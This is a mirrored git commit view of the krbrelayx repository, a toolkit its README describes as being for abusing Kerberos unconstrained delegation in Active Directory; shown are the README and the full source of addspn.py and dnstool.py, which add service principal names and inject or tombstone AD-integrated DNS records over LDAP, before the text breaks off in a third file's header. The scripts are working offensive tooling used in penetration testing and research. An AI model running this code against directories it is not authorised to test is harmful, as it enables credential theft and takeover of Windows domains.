mirror of
https://github.com/dirkjanm/krbrelayx.git
synced 2026-11-07 09:25:58 -10:00
Initial commit
This commit is contained in:
19 files changed
+2945
No files matched your search
@@ -0,0 +1,4 @@
|
||||
build/
|
||||
*.egg-info
|
||||
dist/
|
||||
*.pyc
|
||||
@@ -0,0 +1,21 @@
|
||||
The MIT License (MIT)
|
||||
|
||||
Copyright (c) 2019 Dirk-jan Mollema (@_dirkjan)
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,22 @@
|
||||
# Krbrelayx - Unconstrained delegation abuse toolkit
|
||||
|
||||
Toolkit for abusing unconstrained delegation.
|
||||
Requires [impacket](https://github.com/SecureAuthCorp/impacket) and [ldap3](https://github.com/cannatag/ldap3) to function.
|
||||
It is recommended to install impacket from git directly to have the latest version available.
|
||||
|
||||
More info about this toolkit available in my blog <https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/>
|
||||
|
||||
# Tools included
|
||||
## addspn.py
|
||||
This tool can add/remove/modify Service Principal Names on accounts in AD over LDAP.
|
||||
|
||||
## dnstool.py
|
||||
Add/modify/delete Active Directory Integrated DNS records via LDAP.
|
||||
|
||||
## krbrelayx.py
|
||||
Given an account with unconstrained delegation privileges, dump Kerberos TGT's of users connecting to hosts similar to ntlmrelayx.
|
||||
|
||||
### TODO:
|
||||
- Specifying SMB as target is not yet complete, it's recommended to run in export mode and then use secretsdump with `-k`
|
||||
- Conversion tool from/to ccache/kirbi
|
||||
- SMB1 support in the SMB relay server
|
||||
@@ -0,0 +1,144 @@
|
||||
#!/usr/bin/env python
|
||||
####################
|
||||
#
|
||||
# Copyright (c) 2019 Dirk-jan Mollema (@_dirkjan)
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
# of this software and associated documentation files (the "Software"), to deal
|
||||
# in the Software without restriction, including without limitation the rights
|
||||
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
# copies of the Software, and to permit persons to whom the Software is
|
||||
# furnished to do so, subject to the following conditions:
|
||||
#
|
||||
# The above copyright notice and this permission notice shall be included in all
|
||||
# copies or substantial portions of the Software.
|
||||
#
|
||||
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
# SOFTWARE.
|
||||
#
|
||||
#
|
||||
# Add an SPN to a user/computer account via LDAP
|
||||
#
|
||||
####################
|
||||
import sys
|
||||
import argparse
|
||||
import ldapdomaindump
|
||||
import random
|
||||
import string
|
||||
import getpass
|
||||
from ldap3 import NTLM, Server, Connection, ALL
|
||||
import ldap3
|
||||
from ldap3.protocol.microsoft import security_descriptor_control
|
||||
|
||||
def print_m(string):
|
||||
sys.stderr.write('\033[94m[-]\033[0m %s\n' % (string))
|
||||
|
||||
def print_o(string):
|
||||
sys.stderr.write('\033[92m[+]\033[0m %s\n' % (string))
|
||||
|
||||
def print_f(string):
|
||||
sys.stderr.write('\033[91m[!]\033[0m %s\n' % (string))
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description='Add an SPN to a user/computer account')
|
||||
parser._optionals.title = "Main options"
|
||||
parser._positionals.title = "Required options"
|
||||
|
||||
#Main parameters
|
||||
#maingroup = parser.add_argument_group("Main options")
|
||||
parser.add_argument("host", metavar='HOSTNAME', help="Hostname/ip or ldap://host:port connection string to connect to")
|
||||
parser.add_argument("-u", "--user", metavar='USERNAME', help="DOMAIN\\username for authentication")
|
||||
parser.add_argument("-p", "--password", metavar='PASSWORD', help="Password or LM:NTLM hash, will prompt if not specified")
|
||||
parser.add_argument("-t", "--target", metavar='TARGET', help="Computername or username to target (FQDN or COMPUTER$ name, if unspecified user with -u is target)")
|
||||
parser.add_argument("-s", "--spn", required=True, metavar='SPN', help="servicePrincipalName to add (for example: http/host.domain.local or cifs/host.domain.local)")
|
||||
parser.add_argument("-r", "--remove", action='store_true', help="Remove the SPN instead of add it")
|
||||
parser.add_argument("-q", "--query", action='store_true', help="Show the current target SPNs instead of modifying anything")
|
||||
parser.add_argument("-a", "--additional", action='store_true', help="Add the SPN via the msDS-AdditionalDnsHostName attribute")
|
||||
|
||||
args = parser.parse_args()
|
||||
#Prompt for password if not set
|
||||
authentication = None
|
||||
if args.user is not None:
|
||||
authentication = NTLM
|
||||
if not '\\' in args.user:
|
||||
print_f('Username must include a domain, use: DOMAIN\\username')
|
||||
sys.exit(1)
|
||||
if args.password is None:
|
||||
args.password = getpass.getpass()
|
||||
|
||||
controls = security_descriptor_control(sdflags=0x04)
|
||||
# define the server and the connection
|
||||
s = Server(args.host, get_info=ALL)
|
||||
print_m('Connecting to host...')
|
||||
c = Connection(s, user=args.user, password=args.password, authentication=authentication)
|
||||
print_m('Binding to host')
|
||||
# perform the Bind operation
|
||||
if not c.bind():
|
||||
print_f('Could not bind with specified credentials')
|
||||
print_f(c.result)
|
||||
sys.exit(1)
|
||||
print_o('Bind OK')
|
||||
|
||||
if args.target:
|
||||
targetuser = args.target
|
||||
else:
|
||||
targetuser = args.user.split('\\')[1]
|
||||
|
||||
if '.' in targetuser:
|
||||
search = '(dnsHostName=%s)' % targetuser
|
||||
else:
|
||||
search = '(SAMAccountName=%s)' % targetuser
|
||||
c.search(s.info.other['rootDomainNamingContext'][0], search, controls=controls, attributes=['SAMAccountName', 'servicePrincipalName', 'dnsHostName', 'msds-additionaldnshostname'])
|
||||
|
||||
try:
|
||||
targetobject = c.entries[0]
|
||||
print_o('Found modification target')
|
||||
except IndexError:
|
||||
print_f('Target not found!')
|
||||
return
|
||||
from impacket.ldap.ldaptypes import SR_SECURITY_DESCRIPTOR
|
||||
|
||||
if args.remove:
|
||||
operation = ldap3.MODIFY_DELETE
|
||||
else:
|
||||
operation = ldap3.MODIFY_ADD
|
||||
|
||||
if args.query:
|
||||
# If we only want to query it
|
||||
print(targetobject)
|
||||
return
|
||||
|
||||
|
||||
if not args.additional:
|
||||
c.modify(targetobject.entry_dn, {'servicePrincipalName':[(operation, [args.spn])]})
|
||||
else:
|
||||
try:
|
||||
host = args.spn.split('/')[1]
|
||||
except IndexError:
|
||||
# Assume this is the hostname
|
||||
host = args.spn
|
||||
c.modify(targetobject.entry_dn, {'msds-additionaldnshostname':[(ldap3.MODIFY_ADD, [host])]})
|
||||
|
||||
if c.result['result'] == 0:
|
||||
print_o('SPN Modified successfully')
|
||||
else:
|
||||
if c.result['result'] == 50:
|
||||
print_f('Could not modify object, the server reports insufficient rights: %s' % c.result['message'])
|
||||
elif c.result['result'] == 19:
|
||||
print_f('Could not modify object, the server reports a constrained violation')
|
||||
if args.additional:
|
||||
print_f('You either supplied a malformed SPN, or you do not have access rights to add this SPN (Validated write only allows adding SPNs ending on the domain FQDN)')
|
||||
else:
|
||||
print_f('You either supplied a malformed SPN, or you do not have access rights to add this SPN (Validated write only allows adding SPNs matching the hostname)')
|
||||
print_f('To add any SPN in the current domain, use --additional to add the SPN via the msDS-AdditionalDnsHostName attribute')
|
||||
else:
|
||||
print_f('The server returned an error: %s' % c.result['message'])
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
+512
@@ -0,0 +1,512 @@
|
||||
#!/usr/bin/env python
|
||||
####################
|
||||
#
|
||||
# Copyright (c) 2019 Dirk-jan Mollema (@_dirkjan)
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
# of this software and associated documentation files (the "Software"), to deal
|
||||
# in the Software without restriction, including without limitation the rights
|
||||
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
# copies of the Software, and to permit persons to whom the Software is
|
||||
# furnished to do so, subject to the following conditions:
|
||||
#
|
||||
# The above copyright notice and this permission notice shall be included in all
|
||||
# copies or substantial portions of the Software.
|
||||
#
|
||||
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
# SOFTWARE.
|
||||
#
|
||||
# Tool to interact with ADIDNS over LDAP
|
||||
#
|
||||
####################
|
||||
import sys
|
||||
import argparse
|
||||
import ldapdomaindump
|
||||
import random
|
||||
import string
|
||||
import getpass
|
||||
import re
|
||||
from ldap3 import NTLM, Server, Connection, ALL, LEVEL, BASE, MODIFY_DELETE, MODIFY_ADD, MODIFY_REPLACE
|
||||
import ldap3
|
||||
from impacket.ldap import ldaptypes
|
||||
import dns.resolver
|
||||
import datetime
|
||||
|
||||
def print_m(string):
|
||||
sys.stderr.write('\033[94m[-]\033[0m %s\n' % (string))
|
||||
|
||||
def print_o(string):
|
||||
sys.stderr.write('\033[92m[+]\033[0m %s\n' % (string))
|
||||
|
||||
def print_f(string):
|
||||
sys.stderr.write('\033[91m[!]\033[0m %s\n' % (string))
|
||||
|
||||
from struct import unpack, pack
|
||||
from impacket.structure import Structure
|
||||
import socket
|
||||
|
||||
class DNS_RECORD(Structure):
|
||||
"""
|
||||
dnsRecord - used in LDAP
|
||||
[MS-DNSP] section 2.3.2.2
|
||||
"""
|
||||
structure = (
|
||||
('DataLength', '<H-Data'),
|
||||
('Type', '<H'),
|
||||
('Version', 'B=5'),
|
||||
('Rank', 'B'),
|
||||
('Flags', '<H=0'),
|
||||
('Serial', '<L'),
|
||||
('TtlSeconds', '>L'),
|
||||
('Reserved', '<L=0'),
|
||||
('TimeStamp', '<L=0'),
|
||||
('Data', ':')
|
||||
)
|
||||
|
||||
# Note that depending on whether we use RPC or LDAP all the DNS_RPC_XXXX
|
||||
# structures use DNS_RPC_NAME when communication is over RPC,
|
||||
# but DNS_COUNT_NAME is the way they are stored in LDAP.
|
||||
#
|
||||
# Since LDAP is the primary goal of this script we use that, but for use
|
||||
# over RPC the DNS_COUNT_NAME in the structures must be replaced with DNS_RPC_NAME,
|
||||
# which is also consistent with how MS-DNSP describes it.
|
||||
|
||||
class DNS_RPC_NAME(Structure):
|
||||
"""
|
||||
DNS_RPC_NAME
|
||||
Used for FQDNs in RPC communication.
|
||||
MUST be converted to DNS_COUNT_NAME for LDAP
|
||||
[MS-DNSP] section 2.2.2.2.1
|
||||
"""
|
||||
structure = (
|
||||
('cchNameLength', 'B-dnsName'),
|
||||
('dnsName', ':')
|
||||
)
|
||||
|
||||
class DNS_COUNT_NAME(Structure):
|
||||
"""
|
||||
DNS_COUNT_NAME
|
||||
Used for FQDNs in LDAP communication
|
||||
MUST be converted to DNS_RPC_NAME for RPC communication
|
||||
[MS-DNSP] section 2.2.2.2.2
|
||||
"""
|
||||
structure = (
|
||||
('Length', 'B-RawName'),
|
||||
('LabelCount', 'B'),
|
||||
('RawName', ':')
|
||||
)
|
||||
|
||||
def toFqdn(self):
|
||||
ind = 0
|
||||
labels = []
|
||||
for i in range(self['LabelCount']):
|
||||
nextlen = unpack('B', self['RawName'][ind])[0]
|
||||
labels.append(self['RawName'][ind+1:ind+1+nextlen])
|
||||
ind += nextlen + 1
|
||||
# For the final dot
|
||||
labels.append('')
|
||||
return '.'.join(labels)
|
||||
|
||||
class DNS_RPC_NODE(Structure):
|
||||
"""
|
||||
DNS_RPC_NODE
|
||||
[MS-DNSP] section 2.2.2.2.3
|
||||
"""
|
||||
structure = (
|
||||
('wLength', '>H'),
|
||||
('wRecordCount', '>H'),
|
||||
('dwFlags', '>L'),
|
||||
('dwChildCount', '>L'),
|
||||
('dnsNodeName', ':')
|
||||
)
|
||||
|
||||
class DNS_RPC_RECORD_A(Structure):
|
||||
"""
|
||||
DNS_RPC_RECORD_A
|
||||
[MS-DNSP] section 2.2.2.2.4.1
|
||||
"""
|
||||
structure = (
|
||||
('address', ':'),
|
||||
)
|
||||
|
||||
def formatCanonical(self):
|
||||
return socket.inet_ntoa(self['address'])
|
||||
|
||||
def fromCanonical(self, canonical):
|
||||
self['address'] = socket.inet_aton(canonical)
|
||||
|
||||
|
||||
class DNS_RPC_RECORD_NODE_NAME(Structure):
|
||||
"""
|
||||
DNS_RPC_RECORD_NODE_NAME
|
||||
[MS-DNSP] section 2.2.2.2.4.2
|
||||
"""
|
||||
structure = (
|
||||
('nameNode', ':', DNS_COUNT_NAME),
|
||||
)
|
||||
|
||||
class DNS_RPC_RECORD_SOA(Structure):
|
||||
"""
|
||||
DNS_RPC_RECORD_SOA
|
||||
[MS-DNSP] section 2.2.2.2.4.3
|
||||
"""
|
||||
structure = (
|
||||
('dwSerialNo', '>L'),
|
||||
('dwRefresh', '>L'),
|
||||
('dwRetry', '>L'),
|
||||
('dwExpire', '>L'),
|
||||
('dwMinimumTtl', '>L'),
|
||||
('namePrimaryServer', ':', DNS_COUNT_NAME),
|
||||
('zoneAdminEmail', ':', DNS_COUNT_NAME)
|
||||
)
|
||||
|
||||
class DNS_RPC_RECORD_NULL(Structure):
|
||||
"""
|
||||
DNS_RPC_RECORD_NULL
|
||||
[MS-DNSP] section 2.2.2.2.4.4
|
||||
"""
|
||||
structure = (
|
||||
('bData', ':'),
|
||||
)
|
||||
|
||||
# Some missing structures here that I skipped
|
||||
|
||||
class DNS_RPC_RECORD_NAME_PREFERENCE(Structure):
|
||||
"""
|
||||
DNS_RPC_RECORD_NAME_PREFERENCE
|
||||
[MS-DNSP] section 2.2.2.2.4.8
|
||||
"""
|
||||
structure = (
|
||||
('wPreference', '>H'),
|
||||
('nameExchange', ':', DNS_COUNT_NAME)
|
||||
)
|
||||
|
||||
# Some missing structures here that I skipped
|
||||
|
||||
class DNS_RPC_RECORD_AAAA(Structure):
|
||||
"""
|
||||
DNS_RPC_RECORD_AAAA
|
||||
[MS-DNSP] section 2.2.2.2.4.17
|
||||
"""
|
||||
structure = (
|
||||
('ipv6Address', '16s'),
|
||||
)
|
||||
|
||||
class DNS_RPC_RECORD_SRV(Structure):
|
||||
"""
|
||||
DNS_RPC_RECORD_SRV
|
||||
[MS-DNSP] section 2.2.2.2.4.18
|
||||
"""
|
||||
structure = (
|
||||
('wPriority', '>H'),
|
||||
('wWeight', '>H'),
|
||||
('wPort', '>H'),
|
||||
('nameTarget', ':', DNS_COUNT_NAME)
|
||||
)
|
||||
|
||||
class DNS_RPC_RECORD_TS(Structure):
|
||||
"""
|
||||
DNS_RPC_RECORD_TS
|
||||
[MS-DNSP] section 2.2.2.2.4.23
|
||||
"""
|
||||
structure = (
|
||||
('entombedTime', '<Q'),
|
||||
)
|
||||
def toDatetime(self):
|
||||
microseconds = self['entombedTime'] / 10.
|
||||
return datetime.datetime(1601,1,1) + datetime.timedelta(microseconds=microseconds)
|
||||
|
||||
def get_dns_zones(connection, root):
|
||||
connection.search(root, '(objectClass=dnsZone)', search_scope=LEVEL, attributes=['dc'])
|
||||
zones = []
|
||||
for entry in connection.response:
|
||||
if entry['type'] != 'searchResEntry':
|
||||
continue
|
||||
zones.append(entry['attributes']['dc'])
|
||||
return zones
|
||||
|
||||
def get_next_serial(server, zone):
|
||||
# Create a resolver object
|
||||
dnsresolver = dns.resolver.Resolver()
|
||||
# Is our host an IP? In that case make sure the server IP is used
|
||||
# if not assume lookups are working already
|
||||
try:
|
||||
socket.inet_aton(server)
|
||||
dnsresolver.nameservers = [server]
|
||||
except socket.error:
|
||||
pass
|
||||
res = dnsresolver.query(zone, 'SOA')
|
||||
for answer in res:
|
||||
return answer.serial + 1
|
||||
|
||||
def ldap2domain(ldap):
|
||||
return re.sub(',DC=', '.', ldap[ldap.find('DC='):], flags=re.I)[3:]
|
||||
|
||||
def print_record(record, ts=False):
|
||||
try:
|
||||
rtype = RECORD_TYPE_MAPPING[record['Type']]
|
||||
except KeyError:
|
||||
rtype = 'Unsupported'
|
||||
if ts:
|
||||
print('Record is tombStoned (inactive)')
|
||||
print_o('Record entry:')
|
||||
print(' - Type: %d (%s) (Serial: %d)' % (record['Type'], rtype, record['Serial']))
|
||||
if record['Type'] == 0:
|
||||
tstime = DNS_RPC_RECORD_TS(record['Data'])
|
||||
print(' - Tombstoned at: %s' % tstime.toDatetime())
|
||||
# A record
|
||||
if record['Type'] == 1:
|
||||
address = DNS_RPC_RECORD_A(record['Data'])
|
||||
print(' - Address: %s' % address.formatCanonical())
|
||||
# NS record or CNAME record
|
||||
if record['Type'] == 2 or record['Type'] == 5:
|
||||
address = DNS_RPC_RECORD_NODE_NAME(record['Data'])
|
||||
# address.dump()
|
||||
print(' - Address: %s' % address['nameNode'].toFqdn())
|
||||
# SRV record
|
||||
if record['Type'] == 33:
|
||||
record_data = DNS_RPC_RECORD_SRV(record['Data'])
|
||||
# record_data.dump()
|
||||
print(' - Priority: %d' % record_data['wPriority'])
|
||||
print(' - Weight: %d' % record_data['wWeight'])
|
||||
print(' - Port: %d' % record_data['wPort'])
|
||||
print(' - Name: %s' % record_data['nameTarget'].toFqdn())
|
||||
# SOA record
|
||||
if record['Type'] == 6:
|
||||
record_data = DNS_RPC_RECORD_SOA(record['Data'])
|
||||
# record_data.dump()
|
||||
print(' - Serial: %d' % record_data['dwSerialNo'])
|
||||
print(' - Refresh: %d' % record_data['dwRefresh'])
|
||||
print(' - Retry: %d' % record_data['dwRetry'])
|
||||
print(' - Expire: %d' % record_data['dwExpire'])
|
||||
print(' - Minimum TTL: %d' % record_data['dwMinimumTtl'])
|
||||
print(' - Primary server: %s' % record_data['namePrimaryServer'].toFqdn())
|
||||
print(' - Zone admin email: %s' % record_data['zoneAdminEmail'].toFqdn())
|
||||
|
||||
def new_record(rtype, serial):
|
||||
nr = DNS_RECORD()
|
||||
nr['Type'] = rtype
|
||||
nr['Serial'] = serial
|
||||
nr['TtlSeconds'] = 180
|
||||
# From authoritive zone
|
||||
nr['Rank'] = 240
|
||||
return nr
|
||||
|
||||
def print_operation_result(result):
|
||||
if result['result'] == 0:
|
||||
print_o('LDAP operation completed successfully')
|
||||
return True
|
||||
else:
|
||||
print_f('LDAP operation failed. Message returned from server: %s %s' % (result['description'], result['message']))
|
||||
return False
|
||||
|
||||
RECORD_TYPE_MAPPING = {
|
||||
0: 'ZERO',
|
||||
1: 'A',
|
||||
2: 'NS',
|
||||
5: 'CNAME',
|
||||
6: 'SOA',
|
||||
33: 'SRV'
|
||||
}
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description='Query/modify DNS records for Active Directory integrated DNS via LDAP')
|
||||
parser._optionals.title = "Main options"
|
||||
parser._positionals.title = "Required options"
|
||||
|
||||
#Main parameters
|
||||
#maingroup = parser.add_argument_group("Main options")
|
||||
parser.add_argument("host", type=str,metavar='HOSTNAME',help="Hostname/ip or ldap://host:port connection string to connect to")
|
||||
parser.add_argument("-u","--user",type=str,metavar='USERNAME',help="DOMAIN\\username for authentication.")
|
||||
parser.add_argument("-p","--password",type=str,metavar='PASSWORD',help="Password or LM:NTLM hash, will prompt if not specified")
|
||||
parser.add_argument("--forest", action='store_true', help="Search the ForestDnsZones instead of DomainDnsZones")
|
||||
parser.add_argument("--zone", help="Zone to search in (if different than the current domain)")
|
||||
parser.add_argument("--print-zones", action='store_true', help="Only query all zones on the DNS server, no other modifications are made")
|
||||
|
||||
recordopts = parser.add_argument_group("Record options")
|
||||
recordopts.add_argument("-r", "--record", type=str, metavar='TARGETRECORD', help="Record to target (FQDN)")
|
||||
recordopts.add_argument("-a",
|
||||
"--action",
|
||||
choices=['add', 'modify', 'query', 'remove', 'ldapdelete'],
|
||||
default='query',
|
||||
help="Action to perform. Options: add (add a new record), modify ("
|
||||
"modify an existing record), query (show existing), remove (mark record "
|
||||
"for cleanup from DNS cache), delete (delete from LDAP). Default: query"
|
||||
)
|
||||
recordopts.add_argument("-t", "--type", choices=['A'], default='A', help="Record type to add (Currently only A records supported)")
|
||||
recordopts.add_argument("-d", "--data", metavar='RECORDDATA', help="Record data (IP address)")
|
||||
recordopts.add_argument("--allow-multiple", action='store_true', help="Allow multiple A records for the same name")
|
||||
recordopts.add_argument("--ttl", type=int, default=180, help="TTL for record (default: 180)")
|
||||
|
||||
|
||||
|
||||
args = parser.parse_args()
|
||||
#Prompt for password if not set
|
||||
authentication = None
|
||||
if args.user is not None:
|
||||
authentication = NTLM
|
||||
if not '\\' in args.user:
|
||||
print_f('Username must include a domain, use: DOMAIN\\username')
|
||||
sys.exit(1)
|
||||
if args.password is None:
|
||||
args.password = getpass.getpass()
|
||||
|
||||
# define the server and the connection
|
||||
s = Server(args.host, get_info=ALL)
|
||||
print_m('Connecting to host...')
|
||||
c = Connection(s, user=args.user, password=args.password, authentication=authentication)
|
||||
print_m('Binding to host')
|
||||
# perform the Bind operation
|
||||
if not c.bind():
|
||||
print_f('Could not bind with specified credentials')
|
||||
print_f(c.result)
|
||||
sys.exit(1)
|
||||
print_o('Bind OK')
|
||||
domainroot = s.info.other['defaultNamingContext'][0]
|
||||
if args.forest:
|
||||
dnsroot = 'CN=MicrosoftDNS,DC=ForestDnsZones,%s' % domainroot
|
||||
else:
|
||||
dnsroot = 'CN=MicrosoftDNS,DC=DomainDnsZones,%s' % domainroot
|
||||
|
||||
if args.print_zones:
|
||||
zones = get_dns_zones(c, dnsroot)
|
||||
if len(zones) > 0:
|
||||
print_m('Found %d domain DNS zones:' % len(zones))
|
||||
for zone in zones:
|
||||
print(' %s' % zone)
|
||||
# TODO: Should this be the root domain?
|
||||
forestroot = 'CN=MicrosoftDNS,DC=ForestDnsZones,%s' % s.info.other['rootDomainNamingContext'][0]
|
||||
zones = get_dns_zones(c, forestroot)
|
||||
if len(zones) > 0:
|
||||
print_m('Found %d forest DNS zones:' % len(zones))
|
||||
for zone in zones:
|
||||
print(' %s' % zone)
|
||||
return
|
||||
|
||||
target = args.record
|
||||
if args.zone:
|
||||
zone = args.zone
|
||||
else:
|
||||
# Default to current domain
|
||||
zone = ldap2domain(domainroot)
|
||||
|
||||
if target.lower().endswith(zone.lower()):
|
||||
target = target[:-(len(zone)+1)]
|
||||
|
||||
searchtarget = 'DC=%s,%s' % (zone, dnsroot)
|
||||
# print s.info.naming_contexts
|
||||
c.search(searchtarget, '(&(objectClass=dnsNode)(name=%s))' % ldap3.utils.conv.escape_filter_chars(target), attributes=['dnsRecord','dNSTombstoned','name'])
|
||||
targetentry = None
|
||||
for entry in c.response:
|
||||
if entry['type'] != 'searchResEntry':
|
||||
continue
|
||||
targetentry = entry
|
||||
|
||||
# Check if we have the required data
|
||||
if args.action in ['add', 'modify', 'remove'] and not args.data:
|
||||
print_f('This operation requires you to specify record data with --data')
|
||||
return
|
||||
|
||||
# Check if we need the target record to exists, and if yes if it does
|
||||
if args.action in ['modify', 'remove', 'delete', 'query'] and not targetentry:
|
||||
print_f('Target record not found!')
|
||||
return
|
||||
|
||||
|
||||
if args.action == 'query':
|
||||
print_o('Found record %s' % targetentry['attributes']['name'])
|
||||
for record in targetentry['raw_attributes']['dnsRecord']:
|
||||
dr = DNS_RECORD(record)
|
||||
# dr.dump()
|
||||
print targetentry['dn']
|
||||
print_record(dr, targetentry['attributes']['dNSTombstoned'])
|
||||
continue
|
||||
elif args.action == 'add':
|
||||
# Only A records for now
|
||||
addtype = 1
|
||||
# Entry exists
|
||||
if targetentry:
|
||||
if not args.allow_multiple:
|
||||
for record in targetentry['raw_attributes']['dnsRecord']:
|
||||
dr = DNS_RECORD(record)
|
||||
if dr['Type'] == 1:
|
||||
address = DNS_RPC_RECORD_A(dr['Data'])
|
||||
print_f('Record already exists and points to %s. Use --action modify to overwrite or --allow-multiple to override this' % address.formatCanonical())
|
||||
return False
|
||||
# If we are here, no A records exists yet
|
||||
record = new_record(addtype, get_next_serial(args.host, zone))
|
||||
record['Data'] = DNS_RPC_RECORD_A()
|
||||
record['Data'].fromCanonical(args.data)
|
||||
print_m('Adding extra record')
|
||||
c.modify(targetentry['dn'], {'dnsRecord': [(MODIFY_ADD, record.getData())]})
|
||||
print_operation_result(c.result)
|
||||
else:
|
||||
node_data = {
|
||||
'objectCategory': 'CN=Dns-Node,CN=Schema,CN=Configuration,%s' % domainroot,
|
||||
'dNSTombstoned': False,
|
||||
'name': target
|
||||
}
|
||||
record = new_record(addtype, get_next_serial(args.host, zone))
|
||||
record['Data'] = DNS_RPC_RECORD_A()
|
||||
record['Data'].fromCanonical(args.data)
|
||||
record_dn = 'DC=%s,%s' % (target, searchtarget)
|
||||
node_data['dnsRecord'] = [record.getData()]
|
||||
print_m('Adding new record')
|
||||
c.add(record_dn, ['top', 'dnsNode'], node_data)
|
||||
print_operation_result(c.result)
|
||||
elif args.action == 'modify':
|
||||
# Only A records for now
|
||||
addtype = 1
|
||||
# We already know the entry exists
|
||||
targetrecord = None
|
||||
records = []
|
||||
for record in targetentry['raw_attributes']['dnsRecord']:
|
||||
dr = DNS_RECORD(record)
|
||||
if dr['Type'] == 1:
|
||||
targetrecord = dr
|
||||
else:
|
||||
records.append(record)
|
||||
if not targetrecord:
|
||||
print_f('No A record exists yet. Use --action add to add it')
|
||||
targetrecord['Serial'] = get_next_serial(args.host, zone)
|
||||
targetrecord['Data'] = DNS_RPC_RECORD_A()
|
||||
targetrecord['Data'].fromCanonical(args.data)
|
||||
records.append(targetrecord.getData())
|
||||
print_m('Modifying record')
|
||||
c.modify(targetentry['dn'], {'dnsRecord': [(MODIFY_REPLACE, records)]})
|
||||
print_operation_result(c.result)
|
||||
elif args.action == 'remove':
|
||||
addtype = 0
|
||||
if len(targetentry['raw_attributes']['dnsRecord']) > 1:
|
||||
print_m('Target has multiple records, removing the one specified')
|
||||
targetrecord = None
|
||||
for record in targetentry['raw_attributes']['dnsRecord']:
|
||||
dr = DNS_RECORD(record)
|
||||
if dr['Type'] == 1:
|
||||
tr = DNS_RPC_RECORD_A(dr['Data'])
|
||||
if tr.formatCanonical() == args.data:
|
||||
targetrecord = record
|
||||
if not targetrecord:
|
||||
print_f('Could not find a record with the specified data')
|
||||
return
|
||||
c.modify(targetentry['dn'], {'dnsRecord': [(MODIFY_DELETE, targetrecord)]})
|
||||
print_operation_result(c.result)
|
||||
else:
|
||||
print_m('Target has only one record, tombstoning it')
|
||||
diff = datetime.datetime.today() - datetime.datetime(1601,1,1)
|
||||
tstime = int(diff.total_seconds()*10000)
|
||||
# Add a null record
|
||||
record = new_record(addtype, get_next_serial(args.host, zone))
|
||||
record['Data'] = DNS_RPC_RECORD_TS()
|
||||
record['Data']['entombedTime'] = tstime
|
||||
c.modify(targetentry['dn'], {'dnsRecord': [(MODIFY_REPLACE, [record])],
|
||||
'dNSTombstoned': [(MODIFY_REPLACE, True)]})
|
||||
print_operation_result(c.result)
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
Executable
+243
@@ -0,0 +1,243 @@
|
||||
#!/usr/bin/env python
|
||||
####################
|
||||
#
|
||||
# Copyright (c) 2018 Dirk-jan Mollema (@_dirkjan)
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
# of this software and associated documentation files (the "Software"), to deal
|
||||
# in the Software without restriction, including without limitation the rights
|
||||
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
# copies of the Software, and to permit persons to whom the Software is
|
||||
# furnished to do so, subject to the following conditions:
|
||||
#
|
||||
# The above copyright notice and this permission notice shall be included in all
|
||||
# copies or substantial portions of the Software.
|
||||
#
|
||||
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
